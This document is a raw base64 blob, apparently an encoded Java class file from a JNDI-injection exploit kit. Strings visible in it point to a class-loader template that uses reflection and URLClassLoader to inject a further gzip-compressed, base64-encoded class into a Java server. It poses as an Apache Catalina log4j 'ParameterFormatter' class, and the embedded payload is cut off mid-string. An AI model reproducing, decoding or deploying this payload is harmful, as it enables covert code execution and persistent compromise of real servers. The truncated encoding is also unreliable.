ACkMADIAMwwAKwCEDAArAIUBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwARwCGDACHAIgMAIkAigEAF2phdmEvbmV0L1VSTENsYXNzTG9hZGVyAQAMamF2YS9uZXQvVVJMBwCLDACMAI0MAI4AjwwAKwCQDACRAIEHAJIMAJMANwwAlAB9DACVAJYMAJcAmAEAKmNvbS9xaTRsL2puZGkvdGVtcGxhdGUvQ2xhc3NMb2FkZXJUZW1wbGF0ZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAUoW0IpVgEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEABShbQilJAQAFd3JpdGUBAAcoW0JJSSlWAQALdG9CeXRlQXJyYXkBAAQoKVtCAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACkoW0xqYXZhL25ldC9VUkw7TGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEADWdldFN1cGVyY2xhc3MBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBADRvcmcvYXBhY2hlL2NhdGFsaW5hL2xvZzRqL21lc3NhZ2UvUGFyYW1ldGVyRm9ybWF0dGVyAQA2TG9yZy9hcGFjaGUvY2F0YWxpbmEvbG9nNGovbWVzc2FnZS9QYXJhbWV0ZXJGb3JtYXR0ZXI7BwCZCQCbAGUBLwBINHNJQUFBQUFBQUFBSjE2QjRBYjEzWGcrOXdDY0xra3BhVW9hVldzWmtzVVFSSzlyV1JKNkwxM3lHMEFEQVlEWUdhQW1VRjFwU01yUHZmRUxYS1RMUmRHZG14SmxrMVNwaTIzaTNTbkszRmkrODRYeDNHNXhISE82YzdsWXNjUjcvMEJ0cEJjeVU3STNjR2YvOTkvLy9YeXNjODgrNFVuQWNCTVRoTzRyaTRKUms2U3VDNXI1QlRKcUJpemJMUEwxdFdDeW5kMTVITUU3cUVReWtBMFNqSm5aSHBNdmNVYXgweVhFWTI4cUxLeXlIU05ZNldyMW8zeVFGUjVnVFY2YW9vcU0zVTFMek9pMG1WVkhTd1EyTSt4YWtIdXBobVY3aUZ3eFpIYjQyMW15QmdSRVdmTXFUSXZjbmNRV1BSSkRaYkFIdU5SUGVnSnJPSXVYNWRSbENRajRQUUxrWVFUTXhKTytDUThmYXpHSmFiQnlpR3BLU3RNa084aWNqM3NJM0FRTjNvWmhYWFlacWdKckFUR2RiYW44cEtvRURpa0hjMUx4a2hxYTFvSEJ3bGNkakZOT3JpY1hOWUkyNVNJWi9OZjFGenhsVnYxWXJac2NMckdIYXVRbVZqelVaUEFWR3E5dXRMcFdQSzVKRzlXQjZxbkU4OW5MQjA3STZpeFN0QWVLazg2blpGVHFBb3V0cHF3REZJK0h5ZnovQ0RtcmFpVm5qbVRHNmw1cjlRditCdVpnRGZvelJUeWRmZW9tQzBVQXgzamtIVW43Y2xvVkJDZGhselI3bmJhblZOanJGbDN1WEE4Y2hrVGZiZDdsS3hFcWxLd3krZk5vdXhqQ3YyVXV5UnpkaUh2TTQxTVZia3dzT2JjaVVIT1d1NHh3M3ltbEp4bUcxeldWMkVMbmtZaGtSd25HNEY4VFhMSWpsbzIyRk04dlhva1hFKzF4aW5HMlBPVS9XbGZpcW5rUEUwMlZQSkZoWm8zT3ZMeVE2c3Z6ak1kczRVWnhmT2xVaUFxVDR4Wk16UHNEZFI4T3RWdHhrdlZZQzdwTklmTlFuaGlEWnJOb2Rwa3BDcXhxYm5wOXczY3BwQjNQRkxLUFU1TytHdlZGQjltM0Y1ZmFCQ3NjdTVKelZaSWRFMHhWelVwZEdQNWhpbVVpb3I5YWlJZWNqRHBaQ3BlS3NhU01WTXg1U3ZiWEZHMm5NZ3dub0pmbVhUOTdtd2gxMUZOUGhRaFArckl2TDJxeExPWnNkK1k2a3BjMldUdEJGVlRwQkhzS2x6Y214K0hUSHhNY05yU3dZalNjZ2FxMVlpMVgrNDRXWlhKNTFpMmE3Rk40cDFtSmpjcEZlc0MwL2U1ZysydU1XM2pqSU5hVEdrNGF6V0xKK0tXbzJPalRlQnFrWUZjSFlxTTRNeXdqdXlReVltQ0t4UUlGanRTV25iRTY2TlJKT1pvVm9zNTBXbU1wY1RTeUJ4UXEvVmN6cGNwbER1VGNjek5tRXZ0UU5rOHF1YXlmbjh6WEpDdHBrREZ6V1dTWmJudUhyYUZlRWZsQTNtVHEyUm9jdTFlYlp6bldyNldGT3pKbVJvenpITFpnTFVxc1EzRm1wUUhvMnlGTVRPSmFyd2ltS1FjdzVkampybzVNbXgzbXQxUkxPZWNTcHhZODNxWlZLU0EvaHZpYmVYS3NDL0l3VWJJTWhVRlc3VHNLNHlhY1hQTEd4c1pHRWRQQ2ZrclptRVFpWnM2bkZ1MXBJSkJyMTlSL1NhWHAyb3pKR3hGTTFzTDFKMUNLZS9JTlNJbGZocFRzL21rWStybEVnVm5NY3B5WlVzdW1uV3lXVzlqVWxEYnZudzV4VVdMNFhpNWFLNUVqWFdyenpWcWpzZk9iR0FnbXJOMk5lY1loM1Bqb1VteHAwc3VyMWhWMUw3ZlBHb1Z4RWlSNFhMOVVXVVlIWW1CWExnUmFoZDRrMjNVYVl6SDhVYXc3WTcyaXIxNktWd2JaaU5kbzc4aEZycm1mcVVxWkxPbGRudFVZVWVCY0RSWVkrVml2SlZHa2ZyenRSQWJWSmxzV0JRZHZsclVMT1I3cmx4QUZCdjlhTlBROXdYemJhOWJhRlo0WHlFcFpCSktwNSt2Y0xHTWJWeUtURHZCK3RnOExIYVR6TlNXbUxSeUNTNVpEcGxkUWpEWkxOWUM1dERVbURBeFhWUGZFbzNGTExGMGJod3RGY1AyVVVDTjlheUtxbVFpMHlqSCtTMEZYZzRGaEVZN1dzaHh0UUliWUtZVmgyU3B1UEs4V2pBSi9WRmpXRzBXR21QSGxQUDI1VUYrMEZPWmxxSGE3VG5haFVFK1owaWhjVmFVbWl0ajg4WnQ2VUoyNFBRT1JpMURjeHl5YzhONnBCdU5ES1NXNE01bG5TMDdKNWlDOFVUUm9aYk16bmJiSFloWE9vR0VQOGxHWFFGWDJDRzRtM2ErTVJGdFhNSlhuelM0WWpQU05yUjloVkNIYS9SY2NvOUxORjJCQ0QrSWQ2MFRXekJySE51VXRNMFI1UktxV0NrMkU5TllKYTUwREZJaWIyaUcyNFpJcHB3MWVxTWNJekNPZXI3UkVLeFdXekNWNkpZelFxR2hsSE9taGl5TTVacHFxUEo4MkdFUU1aeVlQSTZrdWMrTWc2WUFhNTBHWFVWUjd0V24rWEpnWVBRR3JhMk9JUmVObHIyT3FxRVpTUVViWExQbU5UdTd6a2JOTm5HbzZVbHFXby9IRzQxSVA2ZW13N1d1bWhmSzdWSXBFVEt5V1NadGl5ZkhvWHkwVVBFcHN0dFZDeFpjdFhaSmNsVnFramxjNHJoWVArQ1lTdGJtcEcycEZNT3FTM0hZM0x4SGxaTFZWSkF4VGIzdW90bmE2QWlKVGp4ZXRWY1MvRmhtSEtsQjM1YXM1eTJGUktwcnp4c3NHYUhYRnpMbFFHWTY3VmZaa1lrUHFzWnd0dFlOUjh5aGRMSlNzTlNFbHJNZHN3V0NWV085bTVnRzNHYlJaYTlHRTA3MDZVYVh0WGY0dkNVdTI3ck5xUzFZU2JkRlE3M0V1ZGlXTTJUd2NWSlZrZHRDdVc0SmpRdXVTWHpZbG4yVm5pRlc5VlNDMFZyUVAwMTB4Q3diNWR1MjVIQlFkNDFTQTV0ZmNZbk9WRk9PeEllV2dVZHNaek5CcXpOWkZOdUtKNWlmUm9lcFliRWFkZlZpRGxNNjdmUXdjb3hWSm5JN2FVMkhXNjBSWDdJVkE2NlJjV0xoMDgxSVplRDBLK09hdVczdFlpcXFlZDBlYzE2MVJCT1NleUE3TUpjRUhhT3dZekswR3BxZXZER1laek4rd3pRblpwM3hmcWJzblF6VHdVYkdZUFRFakYyLzF6QnVET0pEdjFvVXE1NGt6N3FzUWRuWnRQY041bmhSSHBSNlE4N1c4NnJqbEhIc2RYZHpSalVVTmhlNWR0WHFGcmhZclRES3Q1dzF6bWlvQ0YwcG1XaG5oV3FvN0haMkhlYnlXRFZNaG9haVZBdTd5azJoM0hmR1NxTEpGWEgwYmVaQnRXWU1Hem5SR2VrWU82clAxVlF6bkZteUcwYnVjUy9SNUVwK203Zk5kUWZlUEVZaFYwRU9LRndrWExYRzJKeXNCZ29SQjZQazRsSFhlTmlSSXFOSnpUOXhsNFMybEF2Yit2bWNXRUJobDl0bWV5N084TVcyU3d6RzNDT2Z6YURZbXFacXN1b29UZXRjSUpldTJWdEJ0dURLVjdKcGZpQzQ1Vmkyb3pvcVlqTVI4bGc3b3JQbXNacUh3MERSSDFMOUVVUFV3V1RUMWFtY2QzZWFRVG5rajdmaWxsVE0yekJrZXpsYkpNbXFiWHRKNUlNZHBSQnBkcHJlcWMvRVZndFRiOEFyMnpuVnJ2VGlOWWRZVFJpSytjbWtLVXhHTmNWWEMzdGE3bWJMblI4VmxRcm5xSlpkeFVCbE9NM1gwMFoycWthTGJsdXYyOHUzQXJXUUtaWldWWnNVbVphS2RxNmFHS1E0eVJ3clZjcHRoMXd1VC9yVnFqSlZMSmF5Y1p4eXFkSGd1TmEwZEptWXcydkxWbnZlYWp4Z3FUb0ZoMTFSb3JGcGV4cU1xVUpLNEYxc3B0eUpqKzJxWW5aVk8xSjdXS3FZSGYzaHdPRUxObXB0eFIycWNaSE9LRlhuK2dvZllKSlRZeXBkYmZ2dFFySFlpSmd4U0hWTDVXd0RvNFhjblloeU1USmxjZ0pYVEpvbUpTWG5hbWRFZjcrUUVLV1V1NndHSWhON1p5eTNQTEt2NWUwM3h3VnZ5cGNOTzYzQ0lNSFZXOHg0WkIveVNxcGFIWThGdHluZEdkck5IUzdLOVZOR2htdm4rOE14NzVxYWJVSW5uVStYMjRNNGIzUGFVc1Y4bEs5SWNtOFVteUJEcGR5bzNyUHpQa090T09CdGczeEJ4ZEtqVWdyVkU4RUt5OVRIZlVzaW9wZ01YRVFhQktOT1gyVTZtWlRFUXJ5WUsrYlNqcDRVaTlyZDhWalkxQnQxVzRLanAzWW50Yng1MHVna0trSllqRENEa0Z6dXRNTzVVQy9YVjMxVDFlL09PRGlqMkdyMmtvTmdLU2h4L1dsRjZmZXFFVWRobkpNbDN0cVBsV08yVktRV1UrMTJYODQ4VEE2RGc5WWc0dlFXeXhIR01sVVROaXlHYW1Pcno4bVAyWEkySGJOaC9LaXhNVnUvRW0wNmk2MjRNV2pQRnpLWTJTcjkvc2dTTmRReTdMalQ4cGFFbkw4L1lKdUNveTJaT3ZGK3JwT3N0amxMMXhyenVKUnNaTmpQeHpxdFdpTFM3WVZFUVF4bTJvS0hLWHNrMWpjdHhGc05SOURWRHZ2a2VzU1NqN1pEUGt2WnovRDJhRi9PZHZoTVE0MVloR1JmOXFaVWU0T3RjeTJtSi9lampYemJ6cGVhdVVaV2p2dUxWVXN3TGVVVDdsUzNHazQ0ZVpVeGQvaEtydFBMMkF1bVpzS2VHemRIeGtUQTZuVll4NlpvckpvTmRvTlRmOGtrUld1UmlXdGFxWmVqdzBTUkhTcUtleUtOaFlTL0c2MVBxNTJSM0V6N0U0V0lKU0k1UjJaWE5LSDR4cjZvTHl1WlN0RlFTdlJWcEtUYjRoc1lFbGlsR0V2MnFaZDFwbXk5cXR6MjRxZk1tQVRla2U2SzFscWpOVmFjWXFwVXN6aTd4Wkc5M2c3WGJmMnA0SEp5bzdaYVNqWkt4cGFRVDFlRzZhU1Q4OFdWN2lRN0NjWkh3WEtnNEk1ejBqQXdHZm9iZk1JV01Fc3RkOGpLZFdTMjdPTUNHYnNoRWxaSElheHAydVdNTTlmbytpWURjNTFoaXNGQU02NUVndldhVi9UWkhkV1cyZ2phZ21HTUcrVVE2MkI4VnBiM043STVLZE9MSkJ0MWUyd3lObytscW1ReFdEeUd3c2phaVlnNXJwNnlwZnN1ejBUdHNxR1JwVDJkaWlOdk9DUW1WRVBYNkNnd0UwUFdHRkVtVlg5cjRpMDMrWnlkOFlmTHpjeXdrdW5hcFhMS2xneUVpc1pDTloyc1pnS2l0Mml0V01TV01kRDJqcDJZSElwRDBUOHBqN0VvSGVjVFh2UFVhNGczL0p6TTlXMUN5dTgzUkUzK1VuUFN5ekNkV0N4aFUwVEJuZkVNbkpPZ3JUYVd1RVM2VWd2VlJSdlQ1bHhCU3pJeUtMZUcvaUVYalFjbnJvUmlqVXpqd2lneUdGbzlnVzRvM0dxa0lpWnh3RlVDZlZzb2IzY2EvU0ZIb1dldU92ekpCRE9Nc2NIQkpNMkZzN0d1ZjVTTmVld09SWWpIeXBKTHFlZHNtQm9qZ1h3L1hKbHdpWEpDam5HUmJxZ1dIR0l0ME0xbG01Tm8wbWpFdUZvSVllVEtsZTFaMUdwTGpqR0ZkR2xVOGxXOStWSjNaRGM3QnhHbFg2dG5jOWE2aFVsR0o2RWgxcVAyaXAvM0RNclRRYVhtSDdTYVUyTSsyM1lPNG15elpUVjEyMFpUMzlpZEpxVzRJMlN0dUdPK29xVmdLaVI2SWJWb0tsZ3F3NVlZeUpRdEFiV1pqYnBaVHlVNmpQZzY5VUNrWE92bmcwWHZoTzlKMDFIRjVDMVVrcDZFTkZDckNaczk1M2FiRWtJd0duT3hFWlpWM1hGTHZoK3FSM3F0UnJaaHNkUlUyWlZwZDYwbVZiRVkyblhUYU1TM2FoR1hQZG4ySkt0Mmw4eEZ4MjRzSHFJVEpWTTFOdHVlcW1BVm82WldnbS9XS3kzR3dQZGRZMDRjOHluWmthcE52UU5Cc1RxY1k2SEZaQjFUcDMvU3NRV1ZXTGdiSHZVajhURFdHcW1ZSnhzcVJZS3hxRnN0V1dLWmNTWnVOQ1lVcVJEMkNpM0ZQUTMyUE9OOHI5TE5sa055U0lrTzFWelJXd2prNnJXeWJ4QnpNZEZHZENpN0pjV2VxRHZkRmFiVXNHWkRqRFVmVnVTaEtWbHFDa2JCYVF4RlNzVTR3d3dudkZVVW12NTR0T1pOMU52UnVEZmVDaHFVV0RXWDY0OUR3WVF5OFdIN2tBbW5HckdlTTJxSTFhZENxR1gzeE1zcHU2aUs5VkZuVXNLT0kyb1k5VXQ4MVZlMU5jc1ZKdUdvV3oyR0dOTk9HeGwzUU1IKzNxWUlVNHZkWVFnMzBUaW1WcG10V1UwVE5hUG1EVnh2ckxDV2hMbkVGRzFKSVdtVnc2Vld1ZVVmVlFxU1M0b0ZTNzVocWQyb2hFZE4xWmRNNVd1dHFqZWFzb1ZHd2toaU9QdG8xRGJ6emFwNzNPOExvYUJMVXBKUmM3Z1Z0S3VweWpCa1QzR3hySE5xZHdrSmc2MlU4YnY4WXlWbk5XSjlsL0Y0OUhDSXdQS2R2TWlyZHhFNGZPVFM2NUhiaTZ0d0dLNWNnVFc0aXNEQ2tkdUxtemNaR3RTT200eHJDQnlNOHlLYkhBalk5ZVNaV3BjbHNCYVg2a3kzeU1nOGZaOVBMamUxU3hPNnVvMHBWV3V6ZGZVT0FycjY3SmFGZ0g0K1VnaGNOb01jcUh6WEdPY1ZDcmVvdG5oY2VVSDgrVzZURU83S0MwbVk5RGJKZU9GRk9PKzhsSnE3Y1ArQkM2RjBjQnNTdmowWFFVNFlWWkoxY0R1Qi9UbVZxWGNTVEU4N2drcHVmUVVXNFJpQkZYcXJ0TW5ZMnVaRjFEWS9xM0FDakN1d0IweklOei9IaWNSZkFMbDVGa0pid0xvUGpvQU41ZFZpbEtTR0ZyVlRYUVVIT1BmQlVYQ2hoRVJ0K3NKcnJ6bG5xN0FCZDFDNE93bnNSZHFDYzVYY2V1UlMyRjIzM3dWM1UzTHZ3ZTFNbzdHNS9iWmR0dStDRUkzS0N6NjYzNDlrZHRpSm1XcTd4WGNiTWl1aWdlM2dPY3dvTFJRb0ttSUI0UWpzMndURFNUUWx0U1d6VE9OQ1U4cHJjN2lEb0pZUHgzZXhWbXBtczUzMFl1N2VTL2ZxSUgzQnhkeU1jQjFrTDVpZEFlc2dUK0R5U3lqV3daYXJhTk1lV1dZbU13c3FyMEJsMHlobU9CUTkzRXRnbFJlSFVvZE5zR3BMUXA1Y3p5L01UUS9kVFRzdmhaZFI2YjRjK2NRejZFM21LakN3dkFJRnFCRzRqbG9pZzc0cWU5RmNPVmthaUkyMExOVlpSWkZrUFRUbXJvY1FLSjVyZDFMaGF6Rnlqc1c2VGF5emQxQnJhd0pIWTBPTHFvS1I4U3c5dEFrc1VZdENKWGRuWkFpYW9uamxoU1k5U0hvSTRTdnFNc2VpY1Y1K2dZSGpGQkl2ZzdJQ0pjRFYvUmNzNldDNEQwYlU1aGNRL3lwTXFBbVdZSXJrYnQ3Wm9zUXZzSFp0RWxHK0NsNjlBamw0RGNhb2l4WjE4TG9WT0VtbGNoQ2RWMnd3Y21QdXAzcjREVHdKamZ1aXlMaHB4TWo5RytCKzZvVy9pUkI1U2FnemFnQmpYNlBCYnFQNEQ3aTA3ZnJhaWJQcll3THJsMUk2VzBKNjN3eHZvYnA2SzdLbVNqTkZyOExicVFKUHdqdHdhNXFSbVc2WDdaYllHdFByN2Rpcmg5OG1jTU9GeE93QzlDNTBXNWxWcElHTVN0ZkRlL1J3STRGcnRxbkp6dTdWZDRUM0J3aGNmZVJDUjVGR05Nck5VOFQ3VitCOThBRUNOMjZEUkpCQ2p1bDY2dFN3ZHFENkVGSzREWldVY29ONmEyYnpPNEErVE1Dd0RTVFBRcm94Z2c2Q25DRkVYck8ySFJzZVFwWnlQQ2N5NmtCbWFTQzdPTVkrUjN3L3RBdFBPdmdFWXF0M21lblVPMUhwbHdQM2VqSDBOTmdtT3MzYzBLNkpYMHJlakF0RXVxVHRSZk8reEJacEJOdHBCVmM5aHcyZzNleTZvSU5IMFMvcUF4bEQ0RHg0WEJ6aTV6RnNGVDRMajFNcitod21zVTBIbVNGWmhkUFV3RTdDbVZWWW9WYTFCNTVBaHJ1NE9PZnVSYnZWQXJzNDFqbjQ0Z284Qmw5YWhmMHpQRi9HTUlaZGw5UmdaOStGMEJ5MkM2cDd2YXZ3VmZnYTNmRjFTdDZVNy9seGw5QkRxOFRqbDQvYzY5VmdmaCtlb2pCUDYrR1RPbmg0TTg3T3pBdGRpcU1DK1MrWVEvS1ZkR0FWL2h0OGVpLzhWL2p2Q0ljTUk4SXVJN09OelhoNnp5NkUzSHNKVDdjL3QxNVg0UnZ3aDFSc2Y0VE84RnhRT3ZnV0traGgxWm5kODFxdHNYaWtTdDNrZjhEL1hJRnZ3M2N3TEErWjdvQk5OYWw0SWp1UG5IT0ZaLzB4ZkhjRm1ma1RsTVlzTHhCdzd4S0g3djAxRS9hZnd2ZnAyVDlBQXhUWlVVUlVNTnJWTVMzOENPNmdMUDN2MmZkbHMwUSsrK3JyMWw5aEExdmZvSzJpNEZTL3BFYkVCanZHdEJ1Wk9jL21WMmhydSswaEovVHdVNlNGYnRYMlVWbnNXb0ZHVnVHdjRXOW9sdmxieEtzTTZGZDkydGRyaHkrVTNCeCtGZjRlL29GQy93eWhaNVdtbjIxdWpiV3lZUTlyUWFveHh5R3FRUjByS2pTNUcrL2RSZkcrYlJESzV3d0ZUalo1UEgvL3psZUZsci9iQVdkV3NoekFXTVYwZVpIWjlQYUQ4eTNid2xscDdwRDRMYitDaGp1UDNvV2x5YzluNXUyN0FQY3EyVU5kZWc5WldJVS9oeC9UMFpKR29qZ3Z6bEFJZXFJajhOSmZxNnE0MUM5K1hUdDdLZGxMRDE4aFlOengxYW1xWmFRVFZEWW5HcXhTbC9rZThuTml4TlpPN0NCdkZSMmpLV25DV0NVSGFHZzVTUTcrR3hHaDVQWGs4Z3UvdU4xVUErN29kYVhKemlNUC9UcVFHczdEQkY2OGkzMVdueU9BN3hJdHlRRnlGV1hwNmxtQTJQWTFQY0h1NmNEV2xBYXVKOWVoeFczVjFocXhMNWh0OVBOS2oxR1JYRmxQTUcvcnNvRU10cjE1UGJrWjEzRkhJUnVmZittdEp5OWNoU1V0TXBOYkNaaDI0N1F1eWV3SlQ2L1g1V2VaTmJqRHF2WGtDS2FvSGJIVWQ0SFAzSHprOWwvbE5hdmtLREZRcG8vTmFOOUoyd21NRFZzTW9veTlMQ29maFdIYXliZ21lM1RYNjUvM0hCMnhyUkE3amF5M0hmbDFMZlZIeElsN2lFc1AvM0pCcVVtTGQwSWJqdDVBL1pWVitQTWNRRjVNN3RwSDdpUjNvOS8zMEZaVXJUdk15d3lHWGVLaHJlRzF4SHRCeFRTTEM1SWFwQlg1ZG0xRC9CZldWVnJzVm5sTld6dWdnaGhWK2EzMEs4OHp1VzcraWlPc2psQyttQW4zMWpiL1RnRnJoNHZ0bEFZWlRFdktRRHdoOEVyOWhOZVRDemhzL2hrV1BVbHVKL2hCczBsbjByTVdjcGIrVmtsV3k1RWtOMitWWnE0Nkt3YjBwRERyZXJhd2xUQzd6YkRwU1lVR3pIa0p3RGI4YUorb0E0bnE0SWI0NWg5UDBISk02NlJTQXhYVmd4eXdqSURrN3VGRmVoZHdDVmhFM0FtMVBCQnBwYkdGVUZNM1RoaEQxVWo2SXRDYXhoMktWTnkwdmVjNlhrZFFwTmM5MzlFNjB0eEU4bHhINmtocmhiQzBLMXlpdFErdHFVbG5oWENrdTExNDB6OGUyVUhrREVoY1FhVkxXR0xNU2tGdGQyU1Y5SWxNRjlBQWxrWXlUMnRZSGE1RUlyaUpETWdRenlJalRMK3F0RVV2clZKb3pVVW1aRXFYWDBtbFgydHJtWlB0Tm1ZWmFra2JZd2V5aTlzSDZSSzltYUYxQklHNy84M3Q2NFdJVnNsSjhub2F1TEFOdStvNWdIVGtEU3ZrZnZnT2ZXQzUvWUtMMndvTmFJZUxZRHQyWS96NWdaQ0J5M1lFdk9DTTMrTy9vaGE2bVBTM2tMZFNKM2picktyS0RYcXNyRlZFcStRZHRCVTlTWDVyaGJ5SlhxbXR6dHJtbVh6UU9RVE5pMmJDMXMxZWFCTytXNWpkNmpadXVvU2xpOW9waExsNVo0MjVhMk9HUUNzOTdDc0YzNngzV2J1MEJrRDlheEFYWFpwczNkMHRDL05TZTYvS0NyT09VMGZlaTZndXFjYVJwK3QzVHg2YnRUYjVDSG1JQ3VxanRHckY5bnlaN1ErWUxncndFM0EvbG5mazFLd0tvcDB3bnNySzlHWlAwVnFoUytsZUpRK1RUeUllOHFrVitBaVYrb29XcnhTRjRUQVVmNGJteHdmSkk3U0R4VFg5bmZXdWRpTktHdy8wUjhlT1AwTHJTaHpIYThRcVVuZkl5c1paOVdiTTFhVWVlcEhLTjVuNjFsMmFLLzd2MjNrSDNJUW5Md0w5ZHhrUW1yL3hxY08zZy9oSjhITmhiZStqMmpLaDdkdDg4Ykw1NHVJaFdOMWN4YVlNVVIyZ3MvaDJtUVozRlN4b2NQdk93VnJsRUZ4eEJxN2VCRDhNNjNOazMwR2dKZngwSEQwRHg0K2VCblBjOEFUWUNTU09QUUZ1QWcvQXRUaDRNWUhrMGVObndMT3hlUFQ0K3VKcENKdzYvNk5Uc0JoL0RMRXNnaGxzY0MxK1hvZDRib1c5K0R5R2J5ZHdaSVFid1FTM0ljUUpzT0RUanBCV2ZMcmdlb1E2aWxDM0lSVXZnQnR3ZENPU2Z5T09GbkRmRVpUTXpScnhEcmlGZkI0L1g0Uy9xemd6VzdzVlJ3YWN1UVlXenlPM0N6cllvNE1qT3NRSVA0Y2J2VG9rQnlGTzRQa0xsTXM5bEVzVURwbWNnMHJsREZUamE0VzFsNXlGVjN3Rk12aVRJTWxqRzR2cmkwODZsaFljeTRlWER5ODlSRHpyaTRlWExSdTZkZDFwcUsreHA0Ri9BQjQvL2pROHNxNWI2NXdGY2ExSEgzMThmQVZLRy9wMS9Xa1lQQUhZRkczc1hkODdGOTNyNkFobHQ3R3lybDlmT1EydjNJTGZ0NzV2QzM1MWZYVU9uNkFqQ3I5L2ZkLzZmb1JQSG44S3JqbCtHbDU3R2w2L2RwOUd3ejdEOFNmZ2pYdWd0SFBwVFJjdW5Uci95S256cnpvRkkwcjgyNTRDU2Z2VVlIOXI3WjBJK3o2NGN1ZlV1N1h0RVcxcTdiMlVyOS9CeDcvejhQdVd5YWxubnp3RkJ6Y1d6OEg3S3V1TForQ0RYelk4aXVxNG1yUklaOHRRWk8xNUIramhUcmdTWGd4WHc5MW9JQjd3NHY4eUJHQUVRWGdqUk9BVVJPRVJpTUhYSUE3UFFCSytCeW5zZTlMd0U4akFUeUVMZndONWNoMFV5REVva3J1aFJFSlFKbFdva0JyY1RWcndNanp4SlVUQVptVUVMOWVNcm9tZWRBcnVRdXczb05lOEVWNEJJUWdEdlcvczQyazM0R29aM29sbmhwRXlNekhqeVhIUUlZWVZTT0RwaTlTSTVpYXBKLzI1bVY1SjZraFZHajN3YXNMTWpYalRZR2RRbXdhYmdnUG40UmJRYlJwc1JnYzVmQkkwOVdmaEhoMFVkRkJDTTM0V2pOb0NIZjhTN0RqK0JWenp6N0RuNTdCbnovR2oybmlKV3ZrK3plWDFlTnlER084K0NoL0R0ejN3Y2Z5OUM4V3BlVGlTdm93UUFQZVJ4Rm40UEtvNGlXYTh6NkJwNzJ5Uyt2d1hUc09UaVZQUVFPOCtEVjg1Qy8veExQeW5qYVcxeDliKzgvS1g0R1JsWWUyWlhHWHhzL0FIdWNvU2ZaNkdiMjRzcnk5akdQaGY2OHZIRVNSWFdWaGZRcENGcy9BOWhGbGZlcElPVHNNUHZ3SW5aeDcwWjRoK2FXUHAyS05JMldIMDk1dlFERzZCVjhQclVCVUxtaUhjaFRFUGdNWDFKdm80aDZwcElXUUhZUWNJM1VWb0ViMVpRaVgwSUllcUdxRUJ2UnBVeEtEQTYyR29xVGFMZkJwUlNiOExEMk5NUzJEaytTUjhDcmtmNGUvdndhZFJHcmVnRWN6VkNQZk4xVWhIVkdWWVd5SW1Hb3YySUFXdmhNK2cyUzFvU2pQQTRyL0NZVTBoajhWUTZ1ZmhaYkNrYVRBM202VHhodWpnMUMrMHlJeGQrVHk0Q29oZ2dZWXB3OXBmYVY2eXBnMys3c1dHNnhaZmNScis4VkVERGNnekFheHBSRTIxb3krRFY2RS92RVpqNmtaY3Z3d1ord3UwK0QxYXlOc2sreHI0Uy9nL2M3dkNTSDgxRHIzZ1F5QThlakdEejMyby9SOGZQVTBXazFUSnFGME0zV1I1WThsd2lPZ1haNXBkeXkxdTZ1OHMyZmNVTEQ1R0ZhVS9SUGFmSlplaDNqYVdENUcxK1ZCM0NqYm8waFhiUzFkdUw5MndzUmVYRm8rZkpldWJpMXN2dW5WOHZYYlhJMHQwNmZxTGx4YTFKYVR6aHRuSytqS2E2K2JpOG15ZjdybFI0dEpORnkwZElyZHNyYjNvb2pVVTBXM2E0aUZ5TzJXSUhOL1Fud0lqUm5JRU5qNFA4SXhCQ282a211ZWs2bmFRcXRNZ1Q4SE5HM3NSd3ZxY0VPdjZCUXZxeGtFL2w3UUZBL29UY25xYXVMV3RHelJ4a0RzeGs2eXNMMkZhSWZjc1lKeUhGUzN6RU45amFPR0gwUGF0YUloMkRGbEovRXlqSi9IWWVSNGtUcktCbjAyc3IrL0grVGVRNzVJLzNRckREMkUrcFI2d0JHOUFlN2tmc2J3Rjhid1ZmZWNkaU8zdGlPMWRjQSs4RzNGK0dMRytCN0UrQVBkaS9kVEVpTVBEKzlGRFB3aGorQkR1ZmdnaFBncm5NQVo5QnlQUXorQVQ1Q0E4akdINWs4UUpqeUFGbnlKM3dxZEpCVDVEbXZCWjhodndlYVRtY2ZKRytCejVPSndobjRhejVPdndCUGtEK0FMNUxud0pLVHhIZmdCZkpIOE9UMnB1OEMyTUJ2ZGd0UHUvNkovTFNNMEMvQk9PZEVqTDVseHphNjZEcmtHOWZDOVNhNGYvaHlNOTByQUEvNHpGZ1I2cE9EcGJ4Yk92bjQrYUdHVm1xMTlIeC9zRll0bUxsS3pDdjhBdllRWHBXTkxnOU5TZk50MFBSN09vUVVlenFMRkVmZ2ovcWtXTmZjakRzK2ljaTNDSWZCUE80MmdKYzcwNHAvUU5tQ1JtbE5Ja2NTVjJQaHAxaEtZVWpSSTYwdHo2emJENkxKaTBDTE9HUHpUa2s3SVdnYTZCdlJkR0lMb09NSTlFQ0hBdDZDOEZtTDBDeXVSekNQUkxNT2dJZVRtT1huQWVTN0xuaHFjWWw3VlVReStaUG9xcDVrRVN3RXhMNkYza0xPREFaK2Vsck91QzBpcE9FZ3QzWFc5NDhpRzR5WEM5WmJ1VTJxKzl2UTNUd3Q3N0ZzaXA4OTgvdGgwSmI5YlMxVmZ4dks5aDVLTUsrWDNNbjAvQmNYZ2F6ZkxyV0JJK3MxVStyc0VMU1Jnakk0MnlycmxxRHVBS3pjYTBEajZpS1dTUEpreXNFNStsTEdIT2ZZeGMvd3ZrWkRONTB0VDVJSTYraWlkcTNCQmFpbE51cEVNa2hTRWhqaTZZM